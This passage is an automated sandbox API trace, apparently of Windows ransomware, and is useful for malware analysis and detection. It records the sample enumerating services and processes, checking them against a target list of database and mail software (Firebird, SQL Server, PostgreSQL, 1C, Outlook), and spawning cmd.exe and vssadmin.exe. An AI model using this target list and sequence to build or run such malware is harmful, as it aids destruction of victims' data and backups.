(lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0221.465] lstrlenW (lpString="WdiSystemHost") returned 13 [0221.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0221.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0221.465] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0221.465] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0221.465] lstrlenW (lpString="WinDefend") returned 9 [0221.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0221.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0221.465] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0221.465] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0221.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0221.465] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0221.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0221.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0221.466] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0221.466] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0221.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0221.466] lstrlenW (lpString="Winmgmt") returned 7 [0221.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0221.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0221.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0221.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0221.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0221.466] lstrlenW (lpString="wscsvc") returned 6 [0221.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0221.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0221.466] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0221.466] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0221.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0221.466] lstrlenW (lpString="wuauserv") returned 8 [0221.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0221.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0221.466] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0221.466] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0221.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0221.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0221.466] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0221.468] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.469] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.469] lstrlenW (lpString="System") returned 6 [0221.469] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0221.469] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0221.469] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0221.469] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0221.470] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.470] lstrlenW (lpString="smss.exe") returned 8 [0221.470] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.471] lstrlenW (lpString="csrss.exe") returned 9 [0221.471] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.473] lstrlenW (lpString="wininit.exe") returned 11 [0221.473] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.481] lstrlenW (lpString="csrss.exe") returned 9 [0221.481] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.483] lstrlenW (lpString="winlogon.exe") returned 12 [0221.483] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.484] lstrlenW (lpString="services.exe") returned 12 [0221.484] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.485] lstrlenW (lpString="lsass.exe") returned 9 [0221.485] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0221.485] lstrlenW (lpString="lsm.exe") returned 7 [0221.486] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.486] lstrlenW (lpString="svchost.exe") returned 11 [0221.486] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.487] lstrlenW (lpString="svchost.exe") returned 11 [0221.487] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.488] lstrlenW (lpString="svchost.exe") returned 11 [0221.488] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.488] lstrlenW (lpString="svchost.exe") returned 11 [0221.488] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.489] lstrlenW (lpString="svchost.exe") returned 11 [0221.489] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.490] lstrlenW (lpString="audiodg.exe") returned 11 [0221.490] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.490] lstrlenW (lpString="svchost.exe") returned 11 [0221.490] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.491] lstrlenW (lpString="svchost.exe") returned 11 [0221.491] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.492] lstrlenW (lpString="dwm.exe") returned 7 [0221.492] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.493] lstrlenW (lpString="explorer.exe") returned 12 [0221.493] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.493] lstrlenW (lpString="spoolsv.exe") returned 11 [0221.493] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0221.494] lstrlenW (lpString="taskhost.exe") returned 12 [0221.494] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.504] lstrlenW (lpString="svchost.exe") returned 11 [0221.504] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0221.505] lstrlenW (lpString="taskeng.exe") returned 11 [0221.505] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0221.505] lstrlenW (lpString="taskhost.exe") returned 12 [0221.505] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0221.506] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0221.506] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0221.507] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0221.507] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0221.507] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0221.507] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0221.508] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0221.508] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0221.509] lstrlenW (lpString="always_winds.exe") returned 16 [0221.509] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0221.509] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0221.510] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0221.530] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0221.530] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0221.531] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0221.531] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0221.532] lstrlenW (lpString="alienwed.exe") returned 12 [0221.532] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0221.533] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0221.533] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0221.534] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0221.534] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0221.535] lstrlenW (lpString="mp beginners.exe") returned 16 [0221.535] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0221.536] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0221.536] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0221.536] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0221.537] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0221.537] lstrlenW (lpString="harassment.exe") returned 14 [0221.537] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0221.538] lstrlenW (lpString="francis-communication.exe") returned 25 [0221.538] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0221.539] lstrlenW (lpString="gccinformational.exe") returned 20 [0221.539] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0221.539] lstrlenW (lpString="diploma.exe") returned 11 [0221.540] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0221.540] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0221.540] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.541] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0221.541] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.542] lstrlenW (lpString="svchost.exe") returned 11 [0221.542] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0221.543] lstrlenW (lpString="sppsvc.exe") returned 10 [0221.543] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.544] lstrlenW (lpString="svchost.exe") returned 11 [0221.544] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0221.545] lstrlenW (lpString="qnuriy.exe") returned 10 [0221.545] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0221.546] lstrlenW (lpString="cmd.exe") returned 7 [0221.546] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0221.547] lstrlenW (lpString="conhost.exe") returned 11 [0221.547] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0221.547] lstrlenW (lpString="vssadmin.exe") returned 12 [0221.547] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.548] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0221.548] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0221.565] lstrlenW (lpString="VSSVC.exe") returned 9 [0221.565] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.566] lstrlenW (lpString="svchost.exe") returned 11 [0221.566] Process32NextW (in: hSnapshot=0x1a0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0221.567] CloseHandle (hObject=0x1a0) returned 1 [0221.567] Sleep (dwMilliseconds=0x1f4) [0222.116] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ed00a0 [0222.117] EnumServicesStatusExW (in: hSCManager=0x3ed00a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0222.117] GetLastError () returned 0xea [0222.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x142e) returned 0x3f1c0d8 [0222.117] EnumServicesStatusExW (in: hSCManager=0x3ed00a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f1c0d8, cbBufSize=0x142e, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f1c0d8, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0222.118] CloseServiceHandle (hSCObject=0x3ed00a0) returned 1 [0222.118] lstrlenW (lpString="Appinfo") returned 7 [0222.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0222.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0222.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0222.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0222.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0222.119] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0222.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0222.119] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0222.119] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0222.119] lstrcmpiW 